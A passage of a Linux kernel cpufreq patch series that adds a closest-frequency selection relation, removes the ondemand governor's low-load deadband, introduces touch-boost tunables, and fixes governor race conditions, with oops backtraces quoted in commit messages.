a/drivers/cpufreq/freq_table.c b/drivers/cpufreq/freq_table.c index 3458d27f63b40..12e2ad0e41cdb 100644 --- a/drivers/cpufreq/freq_table.c +++ b/drivers/cpufreq/freq_table.c @@ -135,9 +135,13 @@ int cpufreq_frequency_table_target(struct cpufreq_policy *policy, continue; if ((freq < policy->min) || (freq > policy->max)) continue; + if (freq == target_freq) { + optimal.driver_data = i; + break; + } switch (relation) { case CPUFREQ_RELATION_H: - if (freq <= target_freq) { + if (freq < target_freq) { if (freq >= optimal.frequency) { optimal.frequency = freq; optimal.driver_data = i; @@ -150,7 +154,7 @@ int cpufreq_frequency_table_target(struct cpufreq_policy *policy, } break; case CPUFREQ_RELATION_L: - if (freq >= target_freq) { + if (freq > target_freq) { if (freq <= optimal.frequency) { optimal.frequency = freq; optimal.driver_data = i; From f1ecb9fe8313f317be5c2361caf7371660136d50 Mon Sep 17 00:00:00 2001 From: Stratos Karafotis Date: Mon, 30 Jun 2014 19:59:33 +0300 Subject: [PATCH 276/365] cpufreq: Introduce new relation for freq selection Introduce CPUFREQ_RELATION_C for frequency selection. It selects the frequency with the minimum euclidean distance to target. In case of equal distance between 2 frequencies, it will select the greater frequency. Signed-off-by: Stratos Karafotis Signed-off-by: Rafael J. Wysocki --- drivers/cpufreq/freq_table.c | 12 +++++++++++- include/linux/cpufreq.h | 1 + 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/drivers/cpufreq/freq_table.c b/drivers/cpufreq/freq_table.c index 12e2ad0e41cdb..2358ed2edff6b 100644 --- a/drivers/cpufreq/freq_table.c +++ b/drivers/cpufreq/freq_table.c @@ -115,7 +115,7 @@ int cpufreq_frequency_table_target(struct cpufreq_policy *policy, .driver_data = ~0, .frequency = 0, }; - unsigned int i; + unsigned int diff, i = 0; pr_debug("request for target %u kHz (relation: %u) for cpu %u\n", target_freq, relation, policy->cpu); @@ -125,6 +125,7 @@ int cpufreq_frequency_table_target(struct cpufreq_policy *policy, suboptimal.frequency = ~0; break; case CPUFREQ_RELATION_L: + case CPUFREQ_RELATION_C: optimal.frequency = ~0; break; } @@ -166,6 +167,15 @@ int cpufreq_frequency_table_target(struct cpufreq_policy *policy, } } break; + case CPUFREQ_RELATION_C: + diff = abs(freq - target_freq); + if (diff < optimal.frequency || + (diff == optimal.frequency && + freq > table[optimal.driver_data].frequency)) { + optimal.frequency = diff; + optimal.driver_data = i; + } + break; } } if (optimal.driver_data > i) { diff --git a/include/linux/cpufreq.h b/include/linux/cpufreq.h index 06099fcd15d8d..db99d73ab0747 100644 --- a/include/linux/cpufreq.h +++ b/include/linux/cpufreq.h @@ -164,6 +164,7 @@ static inline void disable_cpufreq(void) { } #define CPUFREQ_RELATION_L 0 /* lowest frequency at or above target */ #define CPUFREQ_RELATION_H 1 /* highest frequency below or at target */ +#define CPUFREQ_RELATION_C 2 /* closest frequency to target */ struct freq_attr { struct attribute attr; From 43ade84de5be061b454bd7b3cdd8991e9187eac4 Mon Sep 17 00:00:00 2001 From: Stratos Karafotis Date: Mon, 30 Jun 2014 19:59:34 +0300 Subject: [PATCH 277/365] cpufreq: ondemand: Eliminate the deadband effect Currently, ondemand calculates the target frequency proportional to load using the formula: Target frequency = C * load where C = policy->cpuinfo.max_freq / 100 Though, in many cases, the minimum available frequency is pretty high and the above calculation introduces a dead band from load 0 to 100 * policy->cpuinfo.min_freq / policy->cpuinfo.max_freq where the target frequency is always calculated to less than policy->cpuinfo.min_freq and the minimum frequency is selected. For example: on Intel i7-3770 @ 3.4GHz the policy->cpuinfo.min_freq = 1600000 and the policy->cpuinfo.max_freq = 3400000 (without turbo). Thus, the CPU starts to scale up at a load above 47. On quad core 1500MHz Krait the policy->cpuinfo.min_freq = 384000 and the policy->cpuinfo.max_freq = 1512000. Thus, the CPU starts to scale at load above 25. Change the calculation of target frequency to eliminate the above effect using the formula: Target frequency = A + B * load where A = policy->cpuinfo.min_freq and B = (policy->cpuinfo.max_freq - policy->cpuinfo->min_freq) / 100 This will map load values 0 to 100 linearly to cpuinfo.min_freq to cpuinfo.max_freq. Also, use the CPUFREQ_RELATION_C in __cpufreq_driver_target to select the closest frequency in frequency_table. This is necessary to avoid selection of minimum frequency only when load equals to 0. It will also help for selection of frequencies using a more 'fair' criterion. Tables below show the difference in selected frequency for specific values of load without and with this patch. On Intel i7-3770 @ 3.40GHz: Without With Load Target Selected Target Selected 0 0 1600000 1600000 1600000 5 170050 1600000 1690050 1700000 10 340100 1600000 1780100 1700000 15 510150 1600000 1870150 1900000 20 680200 1600000 1960200 2000000 25 850250 1600000 2050250 2100000 30 1020300 1600000 2140300 2100000 35 1190350 1600000 2230350 2200000 40 1360400 1600000 2320400 2400000 45 1530450 1600000 2410450 2400000 50 1700500 1900000 2500500 2500000 55 1870550 1900000 2590550 2600000 60 2040600 2100000 2680600 2600000 65 2210650 2400000 2770650 2800000 70 2380700 2400000 2860700 2800000 75 2550750 2600000 2950750 3000000 80 2720800 2800000 3040800 3000000 85 2890850 2900000 3130850 3100000 90 3060900 3100000 3220900 3300000 95 3230950 3300000 3310950 3300000 100 3401000 3401000 3401000 3401000 On ARM quad core 1500MHz Krait: Without With Load Target Selected Target Selected 0 0 384000 384000 384000 5 75600 384000 440400 486000 10 151200 384000 496800 486000 15 226800 384000 553200 594000 20 302400 384000 609600 594000 25 378000 384000 666000 702000 30 453600 486000 722400 702000 35 529200 594000 778800 810000 40 604800 702000 835200 810000 45 680400 702000 891600 918000 50 756000 810000 948000 918000 55 831600 918000 1004400 1026000 60 907200 918000 1060800 1026000 65 982800 1026000 1117200 1134000 70 1058400 1134000 1173600 1134000 75 1134000 1134000 1230000 1242000 80 1209600 1242000 1286400 1242000 85 1285200 1350000 1342800 1350000 90 1360800 1458000 1399200 1350000 95 1436400 1458000 1455600 1458000 100 1512000 1512000 1512000 1512000 Tested on Intel i7-3770 CPU @ 3.40GHz and on ARM quad core 1500MHz Krait (Android smartphone). Benchmarks on Intel i7 shows a performance improvement on low and medium work loads with lower power consumption. Specifics: Phoronix Linux Kernel Compilation 3.1: Time: -0.40%, energy: -0.07% Phoronix Apache: Time: -4.98%, energy: -2.35% Phoronix FFMPEG: Time: -6.29%, energy: -4.02% Also, running mp3 decoding (very low load) shows no differences with and without this patch. Signed-off-by: Stratos Karafotis Signed-off-by: Rafael J. Wysocki --- drivers/cpufreq/cpufreq_ondemand.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/drivers/cpufreq/cpufreq_ondemand.c b/drivers/cpufreq/cpufreq_ondemand.c index 9e1a9ebc9deeb..b95bef29833d6 100644 --- a/drivers/cpufreq/cpufreq_ondemand.c +++ b/drivers/cpufreq/cpufreq_ondemand.c @@ -170,21 +170,24 @@ static void od_check_cpu(int cpu, unsigned int load) dbs_freq_increase(policy, policy->max); } else { /* Calculate the next frequency proportional to load */ - unsigned int freq_next; - freq_next = load * policy->cpuinfo.max_freq / 100; + unsigned int freq_next, min_f, max_f; + + min_f = policy->cpuinfo.min_freq; + max_f = policy->cpuinfo.max_freq; + freq_next = min_f + load * (max_f - min_f) / 100; /* No longer fully busy, reset rate_mult */ dbs_info->rate_mult = 1; if (!od_tuners->powersave_bias) { __cpufreq_driver_target(policy, freq_next, - CPUFREQ_RELATION_L); + CPUFREQ_RELATION_C); return; } freq_next = od_ops.powersave_bias_target(policy, freq_next, CPUFREQ_RELATION_L); - __cpufreq_driver_target(policy, freq_next, CPUFREQ_RELATION_L); + __cpufreq_driver_target(policy, freq_next, CPUFREQ_RELATION_C); } } From 8250b6d30755a742353fa3d3cafb7c205b1a538c Mon Sep 17 00:00:00 2001 From: Stratos Karafotis Date: Tue, 4 Oct 2016 23:22:16 +0300 Subject: [PATCH 278/365] cpufreq: Introduce touch boost tunables to ondemand and conservative ondemand: - touch_load: the virtual load that governor "sees" when there is a touch in the screen (default value 70). - touch_load_duration: the duration in ms that the touch_load is effective after the touch (default value 1000ms). - touch_load_threshold: the real load threshold. Loads greater than this threshold will trigger the touch boost (default value 10). conservative - touch_load_duration: the duration of touch boost (default value 1000ms). When there is a touch in the screen the freq_step tunable will be double if there governor must increase the frequency. Signed-off-by: Stratos Karafotis --- drivers/cpufreq/cpufreq_conservative.c | 40 ++++++++++-- drivers/cpufreq/cpufreq_governor.c | 86 ++++++++++++++++++++++++++ drivers/cpufreq/cpufreq_governor.h | 6 ++ drivers/cpufreq/cpufreq_ondemand.c | 73 ++++++++++++++++++++++ 4 files changed, 200 insertions(+), 5 deletions(-) diff --git a/drivers/cpufreq/cpufreq_conservative.c b/drivers/cpufreq/cpufreq_conservative.c index 25a70d06c5bf2..20f19a8f244db 100644 --- a/drivers/cpufreq/cpufreq_conservative.c +++ b/drivers/cpufreq/cpufreq_conservative.c @@ -20,13 +20,14 @@ #define DEF_FREQUENCY_STEP (5) #define DEF_SAMPLING_DOWN_FACTOR (1) #define MAX_SAMPLING_DOWN_FACTOR (10) +#define TOUCH_LOAD_DURATION (1000) static DEFINE_PER_CPU(struct cs_cpu_dbs_info_s, cs_cpu_dbs_info); -static inline unsigned int get_freq_target(struct cs_dbs_tuners *cs_tuners, +static inline unsigned int get_freq_target(unsigned int freq_step, struct cpufreq_policy *policy) { - unsigned int freq_target = (cs_tuners->freq_step * policy->max) / 100; + unsigned int freq_target = (freq_step * policy->max) / 100; /* max freq cannot be less than 100. But who knows... */ if (unlikely(freq_target == 0)) @@ -46,6 +47,7 @@ static inline unsigned int get_freq_target(struct cs_dbs_tuners *cs_tuners, */ static void cs_check_cpu(int cpu, unsigned int load) { + bool touch = false; struct cs_cpu_dbs_info_s *dbs_info = &per_cpu(cs_cpu_dbs_info, cpu); struct cpufreq_policy *policy = dbs_info->cdbs.cur_policy; struct dbs_data *dbs_data = policy->governor_data; @@ -58,15 +60,22 @@ static void cs_check_cpu(int cpu, unsigned int load) if (cs_tuners->freq_step == 0) return; + if (jiffies_to_msecs(jiffies - touch_jiffies) > + cs_tuners->touch_load_duration) + touch = true; + /* Check for frequency increase */ if (load > cs_tuners->up_threshold) { + unsigned int freq_step = cs_tuners->freq_step; + dbs_info->down_skip = 0; /* if we are already at full speed then break out early */ if (dbs_info->requested_freq == policy->max) return; - - dbs_info->requested_freq += get_freq_target(cs_tuners, policy); + if (touch) + freq_step *= 2; + dbs_info->requested_freq += get_freq_target(freq_step, policy); if (dbs_info->requested_freq > policy->max) dbs_info->requested_freq = policy->max; @@ -90,7 +99,7 @@ static void cs_check_cpu(int cpu, unsigned int load) if (policy->cur == policy->min) return; - freq_target = get_freq_target(cs_tuners, policy); + freq_target = get_freq_target(cs_tuners->freq_step, policy); if (dbs_info->requested_freq > freq_target) dbs_info->requested_freq -= freq_target; else @@ -267,12 +276,29 @@ static ssize_t store_freq_step(struct dbs_data *dbs_data, const char *buf, return count; } +static ssize_t store_touch_load_duration(struct dbs_data *dbs_data, + const char *buf, size_t count) +{ + struct cs_dbs_tuners *cs_tuners = dbs_data->tuners; + unsigned int input; + int ret; + ret = sscanf(buf, "%u", &input); + + if (ret != 1 || input < 0) + return -EINVAL; + + cs_tuners->touch_load_duration = input; + return count; +} + + show_store_one(cs, sampling_rate); show_store_one(cs, sampling_down_factor); show_store_one(cs, up_threshold); show_store_one(cs, down_threshold); show_store_one(cs, ignore_nice_load); show_store_one(cs, freq_step); +show_store_one(cs, touch_load_duration); declare_show_sampling_rate_min(cs); gov_sys_pol_attr_rw(sampling_rate); @@ -281,6 +307,7 @@ gov_sys_pol_attr_rw(up_threshold); gov_sys_pol_attr_rw(down_threshold); gov_sys_pol_attr_rw(ignore_nice_load); gov_sys_pol_attr_rw(freq_step); +gov_sys_pol_attr_rw(touch_load_duration); gov_sys_pol_attr_ro(sampling_rate_min); static struct attribute *dbs_attributes_gov_sys[] = { @@ -291,6 +318,7 @@ static struct attribute *dbs_attributes_gov_sys[] = { &down_threshold_gov_sys.attr, &ignore_nice_load_gov_sys.attr, &freq_step_gov_sys.attr, + &touch_load_duration_gov_sys.attr, NULL }; @@ -307,6 +335,7 @@ static struct attribute *dbs_attributes_gov_pol[] = { &down_threshold_gov_pol.attr, &ignore_nice_load_gov_pol.attr, &freq_step_gov_pol.attr, + &touch_load_duration_gov_pol.attr, NULL }; @@ -332,6 +361,7 @@ static int cs_init(struct dbs_data *dbs_data) tuners->sampling_down_factor = DEF_SAMPLING_DOWN_FACTOR; tuners->ignore_nice_load = 0; tuners->freq_step = DEF_FREQUENCY_STEP; + tuners->touch_load_duration = TOUCH_LOAD_DURATION; dbs_data->tuners = tuners; dbs_data->min_sampling_rate = MIN_SAMPLING_RATE_RATIO * diff --git a/drivers/cpufreq/cpufreq_governor.c b/drivers/cpufreq/cpufreq_governor.c index e6be63561fa69..2c2a83a73fa9b 100644 --- a/drivers/cpufreq/cpufreq_governor.c +++ b/drivers/cpufreq/cpufreq_governor.c @@ -19,9 +19,13 @@ #include #include #include +#include #include "cpufreq_governor.h" +unsigned long touch_jiffies; +EXPORT_SYMBOL_GPL(touch_jiffies); + static struct attribute_group *get_sysfs_attr(struct dbs_data *dbs_data) { if (have_governor_per_policy()) @@ -181,6 +185,83 @@ static void set_sampling_rate(struct dbs_data *dbs_data, } } +static void gov_input_event(struct input_handle *handle, unsigned int type, + unsigned int code, int value) +{ + touch_jiffies = jiffies; +} + +static int gov_input_connect(struct input_handler *handler, + struct input_dev *dev, const struct input_device_id *id) +{ + struct input_handle *handle; + int error; + + handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL); + if (!handle) + return -ENOMEM; + + handle->dev = dev; + handle->handler = handler; + handle->name = "cpufreq"; + + error = input_register_handle(handle); + if (error) + goto err2; + + error = input_open_device(handle); + if (error) + goto err1; + + return 0; +err1: + input_unregister_handle(handle); +err2: + kfree(handle); + return error; +} + +static void gov_input_disconnect(struct input_handle *handle) +{ + input_close_device(handle); + input_unregister_handle(handle); + kfree(handle); +} + +static const struct input_device_id gov_ids[] = { + /* multi-touch touchscreen */ + { + .flags = INPUT_DEVICE_ID_MATCH_EVBIT | + INPUT_DEVICE_ID_MATCH_ABSBIT, + .evbit = { BIT_MASK(EV_ABS) }, + .absbit = { [BIT_WORD(ABS_MT_POSITION_X)] = + BIT_MASK(ABS_MT_POSITION_X) | + BIT_MASK(ABS_MT_POSITION_Y) }, + }, + /* touchpad */ + { + .flags = INPUT_DEVICE_ID_MATCH_KEYBIT | + INPUT_DEVICE_ID_MATCH_ABSBIT, + .keybit = { [BIT_WORD(BTN_TOUCH)] = BIT_MASK(BTN_TOUCH) }, + .absbit = { [BIT_WORD(ABS_X)] = + BIT_MASK(ABS_X) | BIT_MASK(ABS_Y) }, + }, + /* Keypad */ + { + .flags = INPUT_DEVICE_ID_MATCH_EVBIT, + .evbit = { BIT_MASK(EV_KEY) }, + }, + { }, +}; + +static struct input_handler gov_input_handler = { + .event = gov_input_event, + .connect = gov_input_connect, + .disconnect = gov_input_disconnect, + .name = "cpufreq_gov", + .id_table = gov_ids, +}; + int cpufreq_governor_dbs(struct cpufreq_policy *policy, struct common_dbs_data *cdata, unsigned int event) { @@ -345,6 +426,9 @@ int cpufreq_governor_dbs(struct cpufreq_policy *policy, gov_queue_work(dbs_data, policy, delay_for_sampling_rate(sampling_rate), true); + + if (!cpu) + rc = input_register_handler(&gov_input_handler); break; case CPUFREQ_GOV_STOP: @@ -359,6 +443,8 @@ int cpufreq_governor_dbs(struct cpufreq_policy *policy, mutex_unlock(&dbs_data->mutex); + if (!cpu) + input_unregister_handler(&gov_input_handler); break; case CPUFREQ_GOV_LIMITS: diff --git a/drivers/cpufreq/cpufreq_governor.h b/drivers/cpufreq/cpufreq_governor.h index b5f2b8618949d..9971e64181a17 100644 --- a/drivers/cpufreq/cpufreq_governor.h +++ b/drivers/cpufreq/cpufreq_governor.h @@ -170,6 +170,9 @@ struct od_dbs_tuners { unsigned int up_threshold; unsigned int powersave_bias; unsigned int io_is_busy; + unsigned int touch_load; + unsigned int touch_load_duration; + unsigned int touch_load_threshold; }; struct cs_dbs_tuners { @@ -179,6 +182,7 @@ struct cs_dbs_tuners { unsigned int up_threshold; unsigned int down_threshold; unsigned int freq_step; + unsigned int touch_load_duration; }; /* Common Governor data across policies */ @@ -257,6 +261,8 @@ static ssize_t show_sampling_rate_min_gov_pol \ return sprintf(buf, "%u\n", dbs_data->min_sampling_rate); \ } +extern unsigned long touch_jiffies; + void dbs_check_cpu(struct dbs_data *dbs_data, int cpu); bool need_load_eval(struct cpu_dbs_common_info *cdbs, unsigned int sampling_rate); diff --git a/drivers/cpufreq/cpufreq_ondemand.c b/drivers/cpufreq/cpufreq_ondemand.c index b95bef29833d6..2384cf7446cb0 100644 --- a/drivers/cpufreq/cpufreq_ondemand.c +++ b/drivers/cpufreq/cpufreq_ondemand.c @@ -16,6 +16,7 @@ #include #include #include +#include #include "cpufreq_governor.h" /* On-demand governor macros */ @@ -26,6 +27,9 @@ #define MICRO_FREQUENCY_MIN_SAMPLE_RATE (10000) #define MIN_FREQUENCY_UP_THRESHOLD (11) #define MAX_FREQUENCY_UP_THRESHOLD (100) +#define TOUCH_LOAD (70) +#define TOUCH_LOAD_THRESHOLD (10) +#define TOUCH_LOAD_DURATION (1000) static DEFINE_PER_CPU(struct od_cpu_dbs_info_s, od_cpu_dbs_info); @@ -154,6 +158,7 @@ static void dbs_freq_increase(struct cpufreq_policy *policy, unsigned int freq) */ static void od_check_cpu(int cpu, unsigned int load) { + bool touch = false; struct od_cpu_dbs_info_s *dbs_info = &per_cpu(od_cpu_dbs_info, cpu); struct cpufreq_policy *policy = dbs_info->cdbs.cur_policy; struct dbs_data *dbs_data = policy->governor_data; @@ -161,6 +166,14 @@ static void od_check_cpu(int cpu, unsigned int load) dbs_info->freq_lo = 0; + if (jiffies_to_msecs(jiffies - touch_jiffies) < + od_tuners->touch_load_duration) + touch = true; + + if (touch && load < od_tuners->touch_load && + load > od_tuners->touch_load_threshold) + load = od_tuners->touch_load; + /* Check for frequency increase */ if (load > od_tuners->up_threshold) { /* If switching to max speed, apply sampling_down_factor */ @@ -427,12 +440,60 @@ static ssize_t store_powersave_bias(struct dbs_data *dbs_data, const char *buf, return count; } +static ssize_t store_touch_load(struct dbs_data *dbs_data, const char *buf, + size_t count) +{ + struct od_dbs_tuners *od_tuners = dbs_data->tuners; + unsigned int input; + int ret; + ret = sscanf(buf, "%u", &input); + + if (ret != 1 || input > 100 || input < 1) + return -EINVAL; + + od_tuners->touch_load = input; + return count; +} + +static ssize_t store_touch_load_threshold(struct dbs_data *dbs_data, + const char *buf, size_t count) +{ + struct od_dbs_tuners *od_tuners = dbs_data->tuners; + unsigned int input; + int ret; + ret = sscanf(buf, "%u", &input); + + if (ret != 1 || input > 100 || input < 1) + return -EINVAL; + + od_tuners->touch_load_threshold = input; + return count; +} + +static ssize_t store_touch_load_duration(struct dbs_data *dbs_data, + const char *buf, size_t count) +{ + struct od_dbs_tuners *od_tuners = dbs_data->tuners; + unsigned int input; + int ret; + ret = sscanf(buf, "%u", &input); + + if (ret != 1 || input < 0) + return -EINVAL; + + od_tuners->touch_load_duration = input; + return count; +} + show_store_one(od, sampling_rate); show_store_one(od, io_is_busy); show_store_one(od, up_threshold); show_store_one(od, sampling_down_factor); show_store_one(od, ignore_nice_load); show_store_one(od, powersave_bias); +show_store_one(od, touch_load); +show_store_one(od, touch_load_threshold); +show_store_one(od, touch_load_duration); declare_show_sampling_rate_min(od); gov_sys_pol_attr_rw(sampling_rate); @@ -441,6 +502,9 @@ gov_sys_pol_attr_rw(up_threshold); gov_sys_pol_attr_rw(sampling_down_factor); gov_sys_pol_attr_rw(ignore_nice_load); gov_sys_pol_attr_rw(powersave_bias); +gov_sys_pol_attr_rw(touch_load); +gov_sys_pol_attr_rw(touch_load_threshold); +gov_sys_pol_attr_rw(touch_load_duration); gov_sys_pol_attr_ro(sampling_rate_min); static struct attribute *dbs_attributes_gov_sys[] = { @@ -451,6 +515,9 @@ static struct attribute *dbs_attributes_gov_sys[] = { &ignore_nice_load_gov_sys.attr, &powersave_bias_gov_sys.attr, &io_is_busy_gov_sys.attr, + &touch_load_gov_sys.attr, + &touch_load_threshold_gov_sys.attr, + &touch_load_duration_gov_sys.attr, NULL }; @@ -467,6 +534,9 @@ static struct attribute *dbs_attributes_gov_pol[] = { &ignore_nice_load_gov_pol.attr, &powersave_bias_gov_pol.attr, &io_is_busy_gov_pol.attr, + &touch_load_gov_pol.attr, + &touch_load_threshold_gov_pol.attr, + &touch_load_duration_gov_pol.attr, NULL }; @@ -513,6 +583,9 @@ static int od_init(struct dbs_data *dbs_data) tuners->ignore_nice_load = 0; tuners->powersave_bias = default_powersave_bias; tuners->io_is_busy = should_io_be_busy(); + tuners->touch_load_duration = TOUCH_LOAD_DURATION; + tuners->touch_load = TOUCH_LOAD; + tuners->touch_load_threshold = TOUCH_LOAD_THRESHOLD; dbs_data->tuners = tuners; mutex_init(&dbs_data->mutex); From 632a9b2c510a2600e22fb3ad32c287f008bfea42 Mon Sep 17 00:00:00 2001 From: Jane Li Date: Fri, 3 Jan 2014 17:17:41 +0800 Subject: [PATCH 279/365] cpufreq: Fix timer/workqueue corruption by protecting reading governor_enabled When a CPU is hot removed we'll cancel all the delayed work items via gov_cancel_work(). Sometimes the delayed work function determines that it should adjust the delay for all other CPUs that the policy is managing. If this scenario occurs, the canceling CPU will cancel its own work but queue up the other CPUs works to run. Commit 3617f2 (cpufreq: Fix timer/workqueue corruption due to double queueing) has tried to fix this, but reading governor_enabled is not protected by cpufreq_governor_lock. Even though od_dbs_timer() checks governor_enabled before gov_queue_work(), this scenario may occur. For example: CPU0 CPU1 ---- ---- cpu_down() ... __cpufreq_remove_dev() od_dbs_timer() __cpufreq_governor() policy->governor_enabled policy->governor_enabled = false; cpufreq_governor_dbs() case CPUFREQ_GOV_STOP: gov_cancel_work(dbs_data, policy); cpu0 work is canceled timer is canceled cpu1 work is canceled gov_queue_work(*, *, true); cpu0 work queued cpu1 work queued cpu2 work queued ... cpu1 work is canceled cpu2 work is canceled ... At the end of the GOV_STOP case cpu0 still has a work queued to run although the code is expecting all of the works to be canceled. __cpufreq_remove_dev() will then proceed to re-initialize all the other CPUs works except for the CPU that is going down. The CPUFREQ_GOV_START case in cpufreq_governor_dbs() will trample over the queued work and debugobjects will spit out a warning: WARNING: at lib/debugobjects.c:260 debug_print_object+0x94/0xbc() ODEBUG: init active (active state 0) object type: timer_list hint: delayed_work_timer_fn+0x0/0x14 Modules linked in: CPU: 1 PID: 1205 Comm: sh Tainted: G W 3.10.0 #200 [] (unwind_backtrace+0x0/0xf8) from [] (show_stack+0x10/0x14) [] (show_stack+0x10/0x14) from [] (warn_slowpath_common+0x4c/0x68) [] (warn_slowpath_common+0x4c/0x68) from [] (warn_slowpath_fmt+0x30/0x40) [] (warn_slowpath_fmt+0x30/0x40) from [] (debug_print_object+0x94/0xbc) [] (debug_print_object+0x94/0xbc) from [] (__debug_object_init+0xc8/0x3c0) [] (__debug_object_init+0xc8/0x3c0) from [] (init_timer_key+0x20/0x104) [] (init_timer_key+0x20/0x104) from [] (cpufreq_governor_dbs+0x1dc/0x68c) [] (cpufreq_governor_dbs+0x1dc/0x68c) from [] (__cpufreq_governor+0x80/0x1b0) [] (__cpufreq_governor+0x80/0x1b0) from [] (__cpufreq_remove_dev.isra.12+0x22c/0x380) [] (__cpufreq_remove_dev.isra.12+0x22c/0x380) from [] (cpufreq_cpu_callback+0x48/0x5c) [] (cpufreq_cpu_callback+0x48/0x5c) from [] (notifier_call_chain+0x44/0x84) [] (notifier_call_chain+0x44/0x84) from [] (__cpu_notify+0x2c/0x48) [] (__cpu_notify+0x2c/0x48) from [] (_cpu_down+0x80/0x258) [] (_cpu_down+0x80/0x258) from [] (cpu_down+0x28/0x3c) [] (cpu_down+0x28/0x3c) from [] (store_online+0x30/0x74) [] (store_online+0x30/0x74) from [] (dev_attr_store+0x18/0x24) [] (dev_attr_store+0x18/0x24) from [] (sysfs_write_file+0x100/0x180) [] (sysfs_write_file+0x100/0x180) from [] (vfs_write+0xbc/0x184) [] (vfs_write+0xbc/0x184) from [] (SyS_write+0x40/0x68) [] (SyS_write+0x40/0x68) from [] (ret_fast_syscall+0x0/0x48) In gov_queue_work(), lock cpufreq_governor_lock before gov_queue_work, and unlock it after __gov_queue_work(). In this way, governor_enabled is guaranteed not changed in gov_queue_work(). Signed-off-by: Jane Li Acked-by: Viresh Kumar Reviewed-by: Dmitry Torokhov Signed-off-by: Rafael J. Wysocki Signed-off-by: Stratos Karafotis --- drivers/cpufreq/cpufreq.c | 2 +- drivers/cpufreq/cpufreq_governor.c | 6 +++++- drivers/cpufreq/cpufreq_governor.h | 1 + 3 files changed, 7 insertions(+), 2 deletions(-) diff --git a/drivers/cpufreq/cpufreq.c b/drivers/cpufreq/cpufreq.c index aed64adc3565f..d311effb5264d 100644 --- a/drivers/cpufreq/cpufreq.c +++ b/drivers/cpufreq/cpufreq.c @@ -39,7 +39,7 @@ static struct cpufreq_driver *cpufreq_driver; static DEFINE_PER_CPU(struct cpufreq_policy *, cpufreq_cpu_data); static DEFINE_PER_CPU(struct cpufreq_policy *, cpufreq_cpu_data_fallback); static DEFINE_RWLOCK(cpufreq_driver_lock); -static DEFINE_MUTEX(cpufreq_governor_lock); +DEFINE_MUTEX(cpufreq_governor_lock); static LIST_HEAD(cpufreq_policy_list); #ifdef CONFIG_HOTPLUG_CPU diff --git a/drivers/cpufreq/cpufreq_governor.c b/drivers/cpufreq/cpufreq_governor.c index 2c2a83a73fa9b..edad194933709 100644 --- a/drivers/cpufreq/cpufreq_governor.c +++ b/drivers/cpufreq/cpufreq_governor.c @@ -123,8 +123,9 @@ void gov_queue_work(struct dbs_data *dbs_data, struct cpufreq_policy *policy, { int i; + mutex_lock(&cpufreq_governor_lock); if (!policy->governor_enabled) - return; + goto out_unlock; if (!all_cpus) { /* @@ -139,6 +140,9 @@ void gov_queue_work(struct dbs_data *dbs_data, struct cpufreq_policy *policy, for_each_cpu(i, policy->cpus) __gov_queue_work(i, dbs_data, delay); } + +out_unlock: + mutex_unlock(&cpufreq_governor_lock); } EXPORT_SYMBOL_GPL(gov_queue_work); diff --git a/drivers/cpufreq/cpufreq_governor.h b/drivers/cpufreq/cpufreq_governor.h index 9971e64181a17..5f30dac7b470c 100644 --- a/drivers/cpufreq/cpufreq_governor.h +++ b/drivers/cpufreq/cpufreq_governor.h @@ -261,6 +261,7 @@ static ssize_t show_sampling_rate_min_gov_pol \ return sprintf(buf, "%u\n", dbs_data->min_sampling_rate); \ } +extern struct mutex cpufreq_governor_lock; extern unsigned long touch_jiffies; void dbs_check_cpu(struct dbs_data *dbs_data, int cpu); From e1fdcf039a5de1c87099395554e332308cdb0d76 Mon Sep 17 00:00:00 2001 From: Bibek Basu Date: Mon, 19 May 2014 10:24:01 +0530 Subject: [PATCH 280/365] cpufreq: remove race while accessing cur_policy While accessing cur_policy during executing events CPUFREQ_GOV_START, CPUFREQ_GOV_STOP, CPUFREQ_GOV_LIMITS, same mutex lock is not taken, dbs_data->mutex, which leads to race and data corruption while running continious suspend resume test. This is seen with ondemand governor with suspend resume test using rtcwake. Unable to handle kernel NULL pointer dereference at virtual address 00000028 pgd = ed610000 [00000028] *pgd=adf11831, *pte=00000000, *ppte=00000000 Internal error: Oops: 17 [#1] PREEMPT SMP ARM Modules linked in: nvhost_vi CPU: 1 PID: 3243 Comm: rtcwake Not tainted 3.10.24-gf5cf9e5 #1 task: ee708040 ti: ed61c000 task.ti: ed61c000 PC is at cpufreq_governor_dbs+0x400/0x634 LR is at cpufreq_governor_dbs+0x3f8/0x634 pc : [] lr : [] psr: 600f0013 sp : ed61dcb0 ip : 000493e0 fp : c1cc14f0 r10: 00000000 r9 : 00000000 r8 : 00000000 r7 : eb725280 r6 : c1cc1560 r5 : eb575200 r4 : ebad7740 r3 : ee708040 r2 : ed61dca8 r1 : 001ebd24 r0 : 00000000 Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user Control: 10c5387d Table: ad61006a DAC: 00000015 [] (cpufreq_governor_dbs+0x400/0x634) from [] (__cpufreq_governor+0x98/0x1b4) [] (__cpufreq_governor+0x98/0x1b4) from [] (__cpufreq_set_policy+0x250/0x320) [] (__cpufreq_set_policy+0x250/0x320) from [] (cpufreq_update_policy+0xcc/0x168) [] (cpufreq_update_policy+0xcc/0x168) from [] (cpu_freq_notify+0x68/0xdc) [] (cpu_freq_notify+0x68/0xdc) from [] (notifier_call_chain+0x4c/0x8c) [] (notifier_call_chain+0x4c/0x8c) from [] (__blocking_notifier_call_chain+0x50/0x68) [] (__blocking_notifier_call_chain+0x50/0x68) from [] (blocking_notifier_call_chain+0x20/0x28) [] (blocking_notifier_call_chain+0x20/0x28) from [] (pm_qos_update_bounded_target+0xd8/0x310) [] (pm_qos_update_bounded_target+0xd8/0x310) from [] (__pm_qos_update_request+0x64/0x70) [] (__pm_qos_update_request+0x64/0x70) from [] (tegra_pm_notify+0x114/0x134) [] (tegra_pm_notify+0x114/0x134) from [] (notifier_call_chain+0x4c/0x8c) [] (notifier_call_chain+0x4c/0x8c) from [] (__blocking_notifier_call_chain+0x50/0x68) [] (__blocking_notifier_call_chain+0x50/0x68) from [] (blocking_notifier_call_chain+0x20/0x28) [] (blocking_notifier_call_chain+0x20/0x28) from [] (pm_notifier_call_chain+0x1c/0x34) [] (pm_notifier_call_chain+0x1c/0x34) from [] (enter_state+0xec/0x128) [] (enter_state+0xec/0x128) from [] (pm_suspend+0x38/0xa4) [] (pm_suspend+0x38/0xa4) from [] (state_store+0x70/0xc0) [] (state_store+0x70/0xc0) from [] (kobj_attr_store+0x14/0x20) [] (kobj_attr_store+0x14/0x20) from [] 